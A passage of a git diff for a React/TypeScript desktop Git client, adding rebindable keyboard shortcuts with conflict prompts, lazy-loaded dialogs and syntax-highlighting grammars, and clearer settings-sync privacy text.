`${m}+Shift+A` }, - { category: 'Editing', label: 'Discard all changes', keys: `${m}+Shift+Backspace` }, - { category: 'View', label: 'Zoom in / out / reset', keys: `${m}+= / ${m}+- / ${m}+0` }, - ]; + const overrides = useAppStore((s) => s.settings?.shortcuts) ?? {}; + const shortcuts = mergeShortcuts(overrides); const [query, setQuery] = useState(''); + const [recording, setRecording] = useState(null); + const [note, setNote] = useState(null); + const [pending, setPending] = useState<{ id: string; accelerator: string; conflict: ShortcutConflict } | null>(null); + const labelOf = (id: string): string => SHORTCUTS.find((d) => d.id === id)?.label ?? id; + const save = (next: ShortcutOverrides): void => void actions.updateSettings({ shortcuts: next }); + const bind = (id: string, accelerator: string): void => { + const conflict = findConflict(shortcuts, id, accelerator, isMac); + if (conflict?.id === null) { + setNote(`${formatAccelerator(accelerator, isMac)} is reserved for "${conflict.label}". Choose another combination.`); + return; + } + setRecording(null); + setNote(null); + if (conflict) setPending({ id, accelerator, conflict }); + else { + setPending(null); + save(setShortcut(overrides, id, accelerator)); + } + }; + + useEffect(() => { + if (pending) document.getElementById('shortcut-conflict-confirm')?.focus(); + }, [pending]); + + useEffect(() => { + if (!recording) return; + const onKey = (e: KeyboardEvent): void => { + if (['Control', 'Shift', 'Alt', 'Meta'].includes(e.key)) return; + e.preventDefault(); + e.stopPropagation(); + if (e.key === 'Escape' && !e.ctrlKey && !e.metaKey && !e.altKey && !e.shiftKey) { + setRecording(null); + setNote(null); + return; + } + const accelerator = acceleratorFromEvent(e, isMac); + if (!accelerator) { + setNote('That key cannot be bound on its own: combine it with Ctrl/Cmd or Alt, or use a function key.'); + return; + } + bind(recording, accelerator); + }; + window.addEventListener('keydown', onKey, true); + return () => window.removeEventListener('keydown', onKey, true); + }); + const terms = query.trim().toLowerCase().split(/\s+/).filter(Boolean); - const filteredRows = rows.filter(({ category, label, keys }) => { - const haystack = `${category} ${label} ${keys}`.toLowerCase(); + const rows = SHORTCUTS.filter(({ id, category, label }) => { + const haystack = `${category} ${label} ${shortcuts[id] ? formatAccelerator(shortcuts[id], isMac) : ''}`.toLowerCase(); return terms.every((term) => haystack.includes(term)); }); + const customised = Object.keys(overrides).length > 0; return ( - Close}> + + + + + } + > - {categories.map((category) => { - const categoryRows = filteredRows.filter((row) => row.category === category); + {pending ? ( + +

+ {formatAccelerator(pending.accelerator, isMac)} is already used by "{pending.conflict.label}". Use it for "{labelOf(pending.id)}" and unbind "{pending.conflict.label}"? +

+ {' '} + +
+ ) : null} + {note ? {note} : null} + {SHORTCUT_CATEGORIES.map((category) => { + const categoryRows = rows.filter((row) => row.category === category); if (categoryRows.length === 0) return null; const headingId = `shortcut-category-${category.toLowerCase().replace(/ /g, '-')}`; return ( @@ -1039,16 +1220,14 @@ export function ShortcutsDialog(): React.JSX.Element {

{category}

- {categoryRows.map(({ label, keys }) => ( - + {categoryRows.map(({ id, label }) => ( + ))} @@ -1057,7 +1236,7 @@ export function ShortcutsDialog(): React.JSX.Element { ); })} - {filteredRows.length === 0 ?

No matching shortcuts.

: null} + {rows.length === 0 ?

No matching shortcuts.

: null} ); } diff --git a/src/renderer/src/components/dialogs/SettingsSyncDialogs.tsx b/src/renderer/src/components/dialogs/SettingsSyncDialogs.tsx index 51f2a8d..6d63625 100644 --- a/src/renderer/src/components/dialogs/SettingsSyncDialogs.tsx +++ b/src/renderer/src/components/dialogs/SettingsSyncDialogs.tsx @@ -59,7 +59,7 @@ export function ExportSettingsDialog(): React.JSX.Element { toggle(s)} label={SECTION_LABELS[s]} /> ))} - This file never includes your API key, saved GitHub credentials, tool paths, or window position — only the settings above. + This file never includes your API key, saved GitHub credentials, custom agent command, tool paths, or window position — only the settings above. {error ? {error} : null} @@ -273,7 +273,7 @@ export function SettingsSyncCard(): React.JSX.Element { openDialog({ kind: 'confirm', title: 'Enable settings sync', - message: 'GitGood stores an export of your settings in a secret GitHub gist. Secret gists are not listed publicly, but anyone with the link can read them. Only the fields you can also export to a file are included — never your API key or saved credentials.', + message: 'GitGood stores an export of your settings in a secret GitHub gist. Secret gists are not listed publicly, but anyone with the link can read them, and GitGood refuses to sync to a gist that is public. Only the fields you can also export to a file are included — never your API key, saved credentials or custom agent command.', confirmLabel: 'Enable', onConfirm: async () => { try { diff --git a/src/renderer/src/components/dialogs/index.tsx b/src/renderer/src/components/dialogs/index.tsx index c4c824e..e3f9d7b 100644 --- a/src/renderer/src/components/dialogs/index.tsx +++ b/src/renderer/src/components/dialogs/index.tsx @@ -1,28 +1,56 @@ -import React from 'react'; +import React, { Suspense } from 'react'; +import { lazyExport } from '../../lib/lazy'; import { useAppStore } from '../../state/store'; import { CommandPalette } from '../CommandPalette'; import { CherryPickDialog, CompareDialog, DeleteBranchDialog, MergeDialog, NewBranchDialog, RenameBranchDialog, UncommittedChangesDialog } from './BranchDialogs'; import { ConfirmDialog, DiscardDialog, DiscardLinesDialog, ErrorDialog, RewordDialog, SigningFailedDialog, SquashDialog, TagDialog } from './CommitDialogs'; import { ConflictsDialog } from './ConflictsDialog'; -import { CreatePullRequestDialog, ForcePushDialog, PullRequestDetailsDialog, SignInDialog } from './GitHubDialogs'; -import { BulkDeleteBranchesDialog } from './HealthDialogs'; import { FileAtCommitDialog } from './HistoryDialogs'; -import { IssuesDialog, NewIssueDialog } from './IssueDialogs'; import { LfsDialog } from './LfsDialogs'; import { AddRepoDialog, CloneDialog, NewRepoDialog, PublishDialog, RemoveRepoDialog, RepoSettingsDialog } from './RepoDialogs'; -import { TidyBranchDialog } from './RebaseDialogs'; -import { ReleaseNotesDialog } from './ReleaseNotesDialog'; import { ResolutionPopoverDialog } from './ResolutionPopover'; -import { SplitPlanDialog } from './SplitDialogs'; import { TrustRepoCheckDialog } from './TrustRepoCheckDialog'; import { PostReviewDialog, PrecommitReviewGateDialog, ReviewPreflightDialog } from './ReviewDialogs'; -import { AboutDialog, SettingsDialog, ShortcutsDialog, UpdateNotesDialog } from './SettingsDialog'; -import { ExportSettingsDialog, ImportSettingsDialog } from './SettingsSyncDialogs'; import { BranchFromStashDialog, StashSelectedFilesDialog } from './StashDialogs'; import { SubmodulesDialog } from './SubmoduleDialogs'; -import { AddWorktreeDialog, LockWorktreeDialog, PruneWorktreesDialog, RemoveWorktreeDialog, WorktreesDialog } from './WorktreeDialogs'; +import { ServerFolderPicker } from './ServerFolderPicker'; -export function Dialogs(): React.JSX.Element | null { +const SettingsDialog = lazyExport(() => import('./SettingsDialog'), 'SettingsDialog'); +const AboutDialog = lazyExport(() => import('./SettingsDialog'), 'AboutDialog'); +const ShortcutsDialog = lazyExport(() => import('./SettingsDialog'), 'ShortcutsDialog'); +const UpdateNotesDialog = lazyExport(() => import('./SettingsDialog'), 'UpdateNotesDialog'); +const ExportSettingsDialog = lazyExport(() => import('./SettingsSyncDialogs'), 'ExportSettingsDialog'); +const ImportSettingsDialog = lazyExport(() => import('./SettingsSyncDialogs'), 'ImportSettingsDialog'); +const IssuesDialog = lazyExport(() => import('./IssueDialogs'), 'IssuesDialog'); +const NewIssueDialog = lazyExport(() => import('./IssueDialogs'), 'NewIssueDialog'); +const ReleaseNotesDialog = lazyExport(() => import('./ReleaseNotesDialog'), 'ReleaseNotesDialog'); +const SplitPlanDialog = lazyExport(() => import('./SplitDialogs'), 'SplitPlanDialog'); +const TidyBranchDialog = lazyExport(() => import('./RebaseDialogs'), 'TidyBranchDialog'); +const ReflogDialog = lazyExport(() => import('./ReflogDialogs'), 'ReflogDialog'); +const BisectStartDialog = lazyExport(() => import('./ReflogDialogs'), 'BisectStartDialog'); +const BulkDeleteBranchesDialog = lazyExport(() => import('./HealthDialogs'), 'BulkDeleteBranchesDialog'); +const WorktreesDialog = lazyExport(() => import('./WorktreeDialogs'), 'WorktreesDialog'); +const AddWorktreeDialog = lazyExport(() => import('./WorktreeDialogs'), 'AddWorktreeDialog'); +const RemoveWorktreeDialog = lazyExport(() => import('./WorktreeDialogs'), 'RemoveWorktreeDialog'); +const LockWorktreeDialog = lazyExport(() => import('./WorktreeDialogs'), 'LockWorktreeDialog'); +const PruneWorktreesDialog = lazyExport(() => import('./WorktreeDialogs'), 'PruneWorktreesDialog'); +const CreatePullRequestDialog = lazyExport(() => import('./GitHubDialogs'), 'CreatePullRequestDialog'); +const ForcePushDialog = lazyExport(() => import('./GitHubDialogs'), 'ForcePushDialog'); +const PullRequestDetailsDialog = lazyExport(() => import('./GitHubDialogs'), 'PullRequestDetailsDialog'); +const SignInDialog = lazyExport(() => import('./GitHubDialogs'), 'SignInDialog'); + +export function Dialogs(): React.JSX.Element { + return ( + <> + + + + + + ); +} + +function CurrentDialog(): React.JSX.Element | null { const dialog = useAppStore((s) => s.dialog); if (!dialog) return null; switch (dialog.kind) { @@ -31,7 +59,7 @@ export function Dialogs(): React.JSX.Element | null { case 'new-repo': return ; case 'add-repo': - return ; + return ; case 'remove-repo': return ; case 'publish': @@ -130,6 +158,10 @@ export function Dialogs(): React.JSX.Element | null { return ; case 'tidy-branch': return ; + case 'reflog': + return ; + case 'bisect-start': + return ; case 'trust-repo-check': return ; case 'resolution-popover': diff --git a/src/renderer/src/components/diff/ConflictDiff.tsx b/src/renderer/src/components/diff/ConflictDiff.tsx index 0acc3ff..0aa5059 100644 --- a/src/renderer/src/components/diff/ConflictDiff.tsx +++ b/src/renderer/src/components/diff/ConflictDiff.tsx @@ -2,10 +2,10 @@ import React, { useCallback, useLayoutEffect, useMemo, useRef, useState } from ' import type { ConflictBlockResolution, FileDiff } from '@shared/types'; import { applyResolutions, parseConflicts, resolutionForChoice, type BlockChoice } from '@shared/diff/conflicts'; import { escapeHtml } from '@shared/util'; -import { highlightBlockLine } from '../../lib/highlight'; +import { highlightBlockLine, useLanguageLoaded } from '../../lib/highlight'; import { useWindowedRows } from '../../lib/windowing'; import * as actions from '../../state/actions'; -import { openDialog, useAppStore } from '../../state/store'; +import { openDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Button, Icon, Spinner } from '../ui'; type ConflictData = Extract; @@ -50,9 +50,11 @@ export function ConflictDiff({ diff, path, syntax }: { diff: ConflictData; path: resetKey: diff.content, }); + const grammarReady = useLanguageLoaded(syntax ? diff.language : null); const highlighted = useCallback( (lineNo: number): string | undefined => (syntax ? highlightBlockLine(hlCache.current, 'file', parsed.lines, lineNo, diff.language) : undefined), - [syntax, parsed.lines, diff.language], + // grammarReady: a freshly loaded grammar must give rows a new callback so they re-render highlighted. + [syntax, parsed.lines, diff.language, grammarReady], ); const lineKinds = useMemo(() => { @@ -117,7 +119,7 @@ export function ConflictDiff({ diff, path, syntax }: { diff: ConflictData; path: const oursName = operation === 'rebase' ? `${diff.oursLabel} (upstream)` : `${diff.oursLabel} (current branch)`; const theirsName = operation === 'rebase' ? `${diff.theirsLabel} (your commit)` : `${diff.theirsLabel} (incoming)`; - const aiEnabled = settings?.ai.provider !== 'disabled'; + const aiEnabled = useAiEnabled(); const counts = resolution ? { high: resolution.blocks.filter((b) => b.confidence === 'high').length, medium: resolution.blocks.filter((b) => b.confidence === 'medium').length, low: resolution.blocks.filter((b) => b.confidence === 'low').length } : null; @@ -166,6 +168,7 @@ export function ConflictDiff({ diff, path, syntax }: { diff: ConflictData; path: + {parsed.blocks.length === 0 ? ( ) : null} diff --git a/src/renderer/src/components/diff/DiffPane.tsx b/src/renderer/src/components/diff/DiffPane.tsx index 1c766f8..2a9f9f7 100644 --- a/src/renderer/src/components/diff/DiffPane.tsx +++ b/src/renderer/src/components/diff/DiffPane.tsx @@ -4,7 +4,7 @@ import { ZERO_SHA } from '@shared/types'; import { buildDiscardPatch } from '@shared/diff/patch'; import { formatBytes } from '@shared/util'; import * as actions from '../../state/actions'; -import { openDialog, useAppStore } from '../../state/store'; +import { openDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Avatar, Button, Icon, RelativeTime, Segmented, Spinner, openContextMenu } from '../ui'; import { ExplainPanel } from '../explain/ExplainPanel'; import { FindingCard, SEVERITY_TONE } from '../review/ReviewView'; @@ -98,7 +98,7 @@ export const DiffPane = memo(function DiffPane({ path, oldPath, status, mode, em const renderBlameCard = useCallback((hunk: BlameHunk) => , []); // Explain: same eligible modes as blame (Changes and History); hidden entirely when the AI provider is disabled. const explain = useAppStore((s) => s.explain); - const aiExplainEnabled = (settings?.ai.provider ?? 'disabled') !== 'disabled'; + const aiExplainEnabled = useAiEnabled(); const explainEligibleMode = mode === 'working' || mode === 'commit'; const explainNotActionable = diff !== null && diff.kind !== 'text'; const explainReason = diff?.kind === 'binary' ? 'binary file' : diff?.kind === 'image' ? 'image file' : diff?.kind === 'submodule' ? 'submodule' : diff?.kind === 'lfs' ? 'Git LFS object' : diff?.kind === 'too-large' ? 'diff too large' : diff?.kind === 'conflict' ? 'unresolved conflict' : null; @@ -230,6 +230,7 @@ export const DiffPane = memo(function DiffPane({ path, oldPath, status, mode, em onClick={(e) => openContextMenu(e, [ { label: 'Open in external editor', onClick: () => void actions.openInEditor(status === 'deleted' ? null : path) }, + ...(mode === 'working' && status !== 'untracked' && status !== 'conflicted' ? [{ label: 'Open in external diff tool', onClick: () => void actions.openDiffTool(path, { kind: 'working' as const }) }] : mode === 'commit' && historySha ? [{ label: 'Open in external diff tool', onClick: () => void actions.openDiffTool(path, { kind: 'commit' as const, sha: historySha }) }] : []), { label: 'Show in folder', onClick: () => void actions.showInFolder(status === 'deleted' ? null : path) }, { label: 'Copy relative path', onClick: () => void actions.copyToClipboard(path, 'Path copied') }, { type: 'separator' }, diff --git a/src/renderer/src/components/diff/TextDiff.tsx b/src/renderer/src/components/diff/TextDiff.tsx index cc8d5a1..299b2c6 100644 --- a/src/renderer/src/components/diff/TextDiff.tsx +++ b/src/renderer/src/components/diff/TextDiff.tsx @@ -4,7 +4,7 @@ import { ZERO_SHA } from '@shared/types'; import { intralineDiff, type CharRange } from '@shared/diff/intraline'; import { reconstructOldLines } from '@shared/diff/old-lines'; import { escapeHtml } from '@shared/util'; -import { highlightBlockLine } from '../../lib/highlight'; +import { highlightBlockLine, useLanguageLoaded } from '../../lib/highlight'; import { useWindowedRows } from '../../lib/windowing'; import { Icon, openContextMenu } from '../ui'; @@ -377,12 +377,14 @@ export function TextDiff({ diff, mode, wrap, syntax, intraline, selectable, sele // Lazy highlighting: per-side blocks of file lines, computed the first time a row in the block renders. const hlCache = useRef(new Map()); useMemo(() => hlCache.current.clear(), [syntax, newLines, oldLines, diff.language]); + const grammarReady = useLanguageLoaded(syntax ? diff.language : null); const highlighted = useCallback( (side: 'old' | 'new', lineNo: number): string | undefined => { const lines = side === 'new' ? newLines : oldLines; return syntax && lines ? highlightBlockLine(hlCache.current, side, lines, lineNo, diff.language) : undefined; }, - [syntax, newLines, oldLines, diff.language], + // grammarReady: a freshly loaded grammar must give rows a new callback so they re-render highlighted. + [syntax, newLines, oldLines, diff.language, grammarReady], ); const allKeys = useMemo(() => { diff --git a/src/renderer/src/components/review/ReviewView.tsx b/src/renderer/src/components/review/ReviewView.tsx index 125d74c..0ebc55a 100644 --- a/src/renderer/src/components/review/ReviewView.tsx +++ b/src/renderer/src/components/review/ReviewView.tsx @@ -2,7 +2,7 @@ import React, { useMemo } from 'react'; import type { ReviewFinding, ReviewRun, ReviewSeverity } from '@shared/types'; import { isMac } from '../../api'; import * as actions from '../../state/actions'; -import { useAppStore, type PrReviewRun } from '../../state/store'; +import { useAppStore, type PrReviewRun, useAiEnabled } from '../../state/store'; import { onListKeyDown } from '../../lib/listKeys'; import { PHONE_QUERY, useMediaQuery } from '../Mobile'; import { CommitFileRow } from '../ChangesTab'; @@ -38,7 +38,7 @@ export function ReviewView(): React.JSX.Element { const run = review.run; const repo = useAppStore((s) => s.currentRepo); // Subscribed so turning the AI provider off hides the Fix with agent action immediately. - useAppStore((s) => s.settings?.ai.provider); + useAiEnabled(); const findings = useMemo(() => liveFindings(run), [run]); const countByPath = useMemo(() => { const map = new Map(); diff --git a/src/renderer/src/components/ui.tsx b/src/renderer/src/components/ui.tsx index c6e0da1..d0e550d 100644 --- a/src/renderer/src/components/ui.tsx +++ b/src/renderer/src/components/ui.tsx @@ -375,6 +375,8 @@ export function Dialog({ title, onClose, children, footer, width, icon, dismissi useEffect(() => { const onKey = (e: KeyboardEvent) => { if (e.key === 'Escape' && dismissible) { + // The server folder picker opens over its asking dialog: only the topmost dialog takes Escape. + if (ref.current?.closest('.dialog-backdrop') !== [...document.querySelectorAll('.dialog-backdrop')].at(-1)) return; e.stopPropagation(); onClose(); return; diff --git a/src/renderer/src/lib/highlight.ts b/src/renderer/src/lib/highlight.ts index b3bd06f..d89a53c 100644 --- a/src/renderer/src/lib/highlight.ts +++ b/src/renderer/src/lib/highlight.ts @@ -1,62 +1,93 @@ import hljs from 'highlight.js/lib/core'; -import bash from 'highlight.js/lib/languages/bash'; -import c from 'highlight.js/lib/languages/c'; -import clojure from 'highlight.js/lib/languages/clojure'; -import cmake from 'highlight.js/lib/languages/cmake'; -import cpp from 'highlight.js/lib/languages/cpp'; -import csharp from 'highlight.js/lib/languages/csharp'; -import css from 'highlight.js/lib/languages/css'; -import dart from 'highlight.js/lib/languages/dart'; -import diff from 'highlight.js/lib/languages/diff'; -import dockerfile from 'highlight.js/lib/languages/dockerfile'; -import dos from 'highlight.js/lib/languages/dos'; -import elixir from 'highlight.js/lib/languages/elixir'; -import erlang from 'highlight.js/lib/languages/erlang'; -import fortran from 'highlight.js/lib/languages/fortran'; -import go from 'highlight.js/lib/languages/go'; -import graphql from 'highlight.js/lib/languages/graphql'; -import groovy from 'highlight.js/lib/languages/groovy'; -import haskell from 'highlight.js/lib/languages/haskell'; -import ini from 'highlight.js/lib/languages/ini'; -import java from 'highlight.js/lib/languages/java'; -import javascript from 'highlight.js/lib/languages/javascript'; -import json from 'highlight.js/lib/languages/json'; -import julia from 'highlight.js/lib/languages/julia'; -import kotlin from 'highlight.js/lib/languages/kotlin'; -import less from 'highlight.js/lib/languages/less'; -import lua from 'highlight.js/lib/languages/lua'; -import makefile from 'highlight.js/lib/languages/makefile'; -import markdown from 'highlight.js/lib/languages/markdown'; -import nginx from 'highlight.js/lib/languages/nginx'; -import objectivec from 'highlight.js/lib/languages/objectivec'; -import perl from 'highlight.js/lib/languages/perl'; -import php from 'highlight.js/lib/languages/php'; -import plaintext from 'highlight.js/lib/languages/plaintext'; -import powershell from 'highlight.js/lib/languages/powershell'; -import protobuf from 'highlight.js/lib/languages/protobuf'; -import python from 'highlight.js/lib/languages/python'; -import r from 'highlight.js/lib/languages/r'; -import ruby from 'highlight.js/lib/languages/ruby'; -import rust from 'highlight.js/lib/languages/rust'; -import scala from 'highlight.js/lib/languages/scala'; -import scss from 'highlight.js/lib/languages/scss'; -import sql from 'highlight.js/lib/languages/sql'; -import swift from 'highlight.js/lib/languages/swift'; -import typescript from 'highlight.js/lib/languages/typescript'; -import vbnet from 'highlight.js/lib/languages/vbnet'; -import xml from 'highlight.js/lib/languages/xml'; -import yaml from 'highlight.js/lib/languages/yaml'; +import { useEffect, useSyncExternalStore } from 'react'; -const LANGUAGES: Record[1]> = { - bash, c, clojure, cmake, cpp, csharp, css, dart, diff, dockerfile, dos, elixir, erlang, fortran, go, graphql, groovy, haskell, ini, java, javascript, json, julia, kotlin, less, lua, makefile, markdown, nginx, objectivec, perl, php, plaintext, powershell, protobuf, python, r, ruby, rust, scala, scss, sql, swift, typescript, vbnet, xml, yaml, +/** Grammars load on demand (one small chunk each), so the main bundle carries none of them. Keys are the language ids from `languageForPath` (src/shared/util.ts). */ +const LANGUAGES: Record Promise<{ default: Parameters[1] }>> = { + bash: () => import('highlight.js/lib/languages/bash'), + c: () => import('highlight.js/lib/languages/c'), + clojure: () => import('highlight.js/lib/languages/clojure'), + cmake: () => import('highlight.js/lib/languages/cmake'), + cpp: () => import('highlight.js/lib/languages/cpp'), + csharp: () => import('highlight.js/lib/languages/csharp'), + css: () => import('highlight.js/lib/languages/css'), + dart: () => import('highlight.js/lib/languages/dart'), + diff: () => import('highlight.js/lib/languages/diff'), + dockerfile: () => import('highlight.js/lib/languages/dockerfile'), + dos: () => import('highlight.js/lib/languages/dos'), + elixir: () => import('highlight.js/lib/languages/elixir'), + erlang: () => import('highlight.js/lib/languages/erlang'), + fortran: () => import('highlight.js/lib/languages/fortran'), + go: () => import('highlight.js/lib/languages/go'), + graphql: () => import('highlight.js/lib/languages/graphql'), + groovy: () => import('highlight.js/lib/languages/groovy'), + haskell: () => import('highlight.js/lib/languages/haskell'), + ini: () => import('highlight.js/lib/languages/ini'), + java: () => import('highlight.js/lib/languages/java'), + javascript: () => import('highlight.js/lib/languages/javascript'), + json: () => import('highlight.js/lib/languages/json'), + julia: () => import('highlight.js/lib/languages/julia'), + kotlin: () => import('highlight.js/lib/languages/kotlin'), + less: () => import('highlight.js/lib/languages/less'), + lua: () => import('highlight.js/lib/languages/lua'), + makefile: () => import('highlight.js/lib/languages/makefile'), + markdown: () => import('highlight.js/lib/languages/markdown'), + nginx: () => import('highlight.js/lib/languages/nginx'), + objectivec: () => import('highlight.js/lib/languages/objectivec'), + perl: () => import('highlight.js/lib/languages/perl'), + php: () => import('highlight.js/lib/languages/php'), + powershell: () => import('highlight.js/lib/languages/powershell'), + protobuf: () => import('highlight.js/lib/languages/protobuf'), + python: () => import('highlight.js/lib/languages/python'), + r: () => import('highlight.js/lib/languages/r'), + ruby: () => import('highlight.js/lib/languages/ruby'), + rust: () => import('highlight.js/lib/languages/rust'), + scala: () => import('highlight.js/lib/languages/scala'), + scss: () => import('highlight.js/lib/languages/scss'), + sql: () => import('highlight.js/lib/languages/sql'), + swift: () => import('highlight.js/lib/languages/swift'), + typescript: () => import('highlight.js/lib/languages/typescript'), + vbnet: () => import('highlight.js/lib/languages/vbnet'), + xml: () => import('highlight.js/lib/languages/xml'), + yaml: () => import('highlight.js/lib/languages/yaml'), }; -for (const [name, def] of Object.entries(LANGUAGES)) hljs.registerLanguage(name, def); hljs.configure({ ignoreUnescapedHTML: true }); +const loading = new Set(); +const listeners = new Set<() => void>(); +let loadedCount = 0; + +/** Starts loading `language`'s grammar once; subscribers (see `useLanguageLoaded`) are notified when it is registered. */ +function loadLanguage(language: string): void { + if (loading.has(language) || hljs.getLanguage(language)) return; + loading.add(language); + void LANGUAGES[language]() + .then((m) => { + hljs.registerLanguage(language, m.default); + loadedCount++; + for (const l of listeners) l(); + }) + .catch(() => undefined); // chunk failed to load: the diff simply stays plain text +} + +/** True once `language`'s grammar is available; loads it on first use and re-renders the caller when it arrives. Diffs show plain text until then. */ +export function useLanguageLoaded(language: string | null): boolean { + useEffect(() => { + if (isHighlightable(language)) loadLanguage(language); + }, [language]); + useSyncExternalStore( + (cb) => { + listeners.add(cb); + return () => listeners.delete(cb); + }, + () => loadedCount, + ); + return language !== null && hljs.getLanguage(language) !== undefined; +} + const MAX_HIGHLIGHT_CHARS = 1_200_000; export function isHighlightable(language: string | null): language is string { - return language !== null && language !== 'plaintext' && hljs.getLanguage(language) !== undefined; + return language !== null && Object.hasOwn(LANGUAGES, language); } /** @@ -98,7 +129,7 @@ export function splitHighlightedHtml(html: string): string[] { /** Returns per-line HTML for `code`, or null when highlighting is not possible. */ export function highlightToLines(code: string, language: string | null): string[] | null { - if (!isHighlightable(language)) return null; + if (!isHighlightable(language) || !hljs.getLanguage(language)) return null; if (code.length > MAX_HIGHLIGHT_CHARS) return null; try { const normalized = code.replace(/\r\n?/g, '\n'); @@ -125,6 +156,7 @@ const HIGHLIGHT_MAX_LINE_CHARS = 5000; /** HTML for 1-based `lineNo` of `lines`, highlighting (and caching under `cacheKey`) its block on first use. */ export function highlightBlockLine(cache: Map, cacheKey: string, lines: string[], lineNo: number, language: string | null): string | undefined { if (lineNo < 1 || lineNo > lines.length) return undefined; + if (isHighlightable(language) && !hljs.getLanguage(language)) return undefined; // grammar still loading: plain text for now, and not cached (see useLanguageLoaded) const block = Math.floor((lineNo - 1) / HIGHLIGHT_BLOCK_LINES); const key = `${cacheKey}:${block}`; let html = cache.get(key); @@ -137,13 +169,3 @@ export function highlightBlockLine(cache: Map, cacheKey } return html ? html[(lineNo - 1) % HIGHLIGHT_BLOCK_LINES] : undefined; } - -/** Highlight a single line in isolation (fallback when full content is unavailable). */ -export function highlightLine(text: string, language: string | null): string | null { - if (!isHighlightable(language)) return null; - try { - return hljs.highlight(text, { language, ignoreIllegals: true }).value; - } catch { - return null; - } -} diff --git a/src/renderer/src/lib/lazy.ts b/src/renderer/src/lib/lazy.ts new file mode 100644 index 0000000..3f4d647 --- /dev/null +++ b/src/renderer/src/lib/lazy.ts @@ -0,0 +1,32 @@ +import { createElement, lazy, useState, type ComponentProps, type ComponentType } from 'react'; + +const preloaders: (() => void)[] = []; +let preloadScheduled = false; + +/** Fetches every lazy chunk once the app is idle after first paint, so first open never waits on (or flashes) a Suspense fallback. */ +function schedulePreload(): void { + if (preloadScheduled) return; + preloadScheduled = true; + const run = () => preloaders.forEach((preload) => preload()); + if (typeof requestIdleCallback === 'function') requestIdleCallback(run, { timeout: 3000 }); + else setTimeout(run, 1500); +} + +/** + * `React.lazy` for a named export, so heavy views and dialogs ship as separate chunks. Chunks are preloaded on idle; + * a component mounted after its module has loaded renders directly (React 19 holds a lazy component's first render back + * ~300 ms behind the Suspense fallback even when the chunk is cached). Props are inferred from the module's export. + */ +export function lazyExport, K extends keyof M & string>(load: () => Promise, name: K): ComponentType> { + let loaded: ComponentType> | null = null; + const remember = (m: M): ComponentType> => (loaded = m[name]); + // A lazy component is a valid ComponentType at runtime; React's types only lack the overlap for generic props. + const Lazy = lazy>>(() => load().then((m) => ({ default: remember(m) }))) as unknown as ComponentType>; + preloaders.push(() => void load().then(remember).catch(() => undefined)); + schedulePreload(); + // The choice is made once per mount, so a mounted dialog is never remounted (losing its state) when its module finishes loading. + return function LazyExport(props: ComponentProps) { + const [Direct] = useState(() => loaded); + return createElement(Direct ?? Lazy, props); + }; +} diff --git a/src/renderer/src/lib/shortcuts.ts b/src/renderer/src/lib/shortcuts.ts new file mode 100644 index 0000000..3564d2c --- /dev/null +++ b/src/renderer/src/lib/shortcuts.ts @@ -0,0 +1,8 @@ +import { matchesAccelerator, mergeShortcuts, type KeyLike } from '@shared/shortcuts'; +import { isMac } from '../api'; +import { store } from '../state/store'; + +/** True when the key press is the user's current binding for `id` (defaults + settings.shortcuts), for shortcuts the renderer handles itself. */ +export function shortcutMatches(id: string, e: KeyLike): boolean { + return matchesAccelerator(mergeShortcuts(store.get().settings?.shortcuts)[id], e, isMac); +} diff --git a/src/renderer/src/main.tsx b/src/renderer/src/main.tsx index a3d245e..bdd4753 100644 --- a/src/renderer/src/main.tsx +++ b/src/renderer/src/main.tsx @@ -1,6 +1,7 @@ import React from 'react'; import { createRoot } from 'react-dom/client'; import { App } from './App'; +import { ErrorBoundary } from './components/ErrorBoundary'; import * as actions from './state/actions'; import { store } from './state/store'; import { buildDiscardPatch, buildStagePatch } from '@shared/diff/patch'; @@ -12,6 +13,7 @@ import './styles/diff.css'; import './styles/dialogs.css'; import './styles/review.css'; import './styles/help.css'; +import './styles/forced-colors.css'; // Exposed for automated smoke tests and debugging from the devtools console. // `invoke` lets a smoke script drive a raw IPC method a friendly action does not cover (e.g. forcing // a push with no upstream set, to reproduce a specific error for the error-explanation smoke test). @@ -27,6 +29,8 @@ const container = document.getElementById('root'); if (!container) throw new Error('Missing #root element'); createRoot(container).render( - + + + , ); diff --git a/src/renderer/src/state/actions.ts b/src/renderer/src/state/actions.ts deleted file mode 100644 index 4f7f855..0000000 --- a/src/renderer/src/state/actions.ts +++ /dev/null @@ -1,3303 +0,0 @@ -import type { AddWorktreeOptions, BlameHunk, BlameResult, Branch, BranchDeleteResult, Commit, CommitOptions, ErrorFix, ExplainSource, ExplainTarget, FileDiff, GitErrorInfo, HistoryQuery, PrTriage, PullRequest, RepoWork, RepositoryInfo, RepositoryScanResult, RepositoryStatus, Stash, StaleBranch, TriageState, UncommittedChangesStrategy, WorkingFile, ConflictResolutionResult, AppSettings, UpdateState, Worktree } from '@shared/types'; -import { EMPTY_HISTORY_QUERY, EXPLAIN_FOLLOWUP_LIMIT, ZERO_SHA } from '@shared/types'; -import type { OperationOutcome } from '@shared/ipc'; -import { buildFileViewDiff } from '@shared/diff/parse'; -import { buildStagePatch } from '@shared/diff/patch'; -import { checkRegexBrackets, explanationToMarkdown, extractWorktreePathFromError, formatHistoryQuery, isEmptyHistoryQuery, issueBranchSlug, parseHistoryQuery } from '@shared/util'; -import { ApiError, errorInfo, errorMessage, invoke, on } from '../api'; -import { closeAllDialogs, closeDialog, initialChanges, initialDiff, initialErrorExplain, initialExplain, initialHistory, initialNlPalette, initialPrecommitReview, initialReview, initialStashesView, initialTriage, NO_CONFLICT_EXAMPLES, openDialog, patchChanges, patchDiff, patchErrorExplain, patchExplain, patchHistory, patchNlPalette, patchStashesView, patchTriage, saveExplainPanelWidth, showToast, store, type DialogState, type View } from './store'; -import { handleReviewProgress, reviewBranch, reviewCurrentPullRequest } from './review'; -import { handlePrecommitReviewProgress, refreshPrecommitStaleness, runPrecommitReviewForGate, syncPrecommitReviewSelection } from './precommitReview'; -import { handleRebaseProgress, tidyBranch } from './rebase'; -import { handleSplitProgress, openSplitDialog } from './split'; -import { initInbox, loadInboxState, openInboxItemById, toggleInboxPanel } from './inbox'; -import { openCommandPalette } from './nlPalette'; -import { handleProtocolReviewRerun } from './agentHandoff'; - -export * from './review'; -export * from './precommitReview'; -export * from './split'; -export * from './rebase'; -export * from './inbox'; -export * from './nlPalette'; -export * from './agentHandoff'; - -const HISTORY_PAGE = 100; - -// --------------------------------------------------------------------------- -// Bootstrap & events -// --------------------------------------------------------------------------- - -function applyTheme(settings: AppSettings | null, systemDark: boolean): void { - const theme = 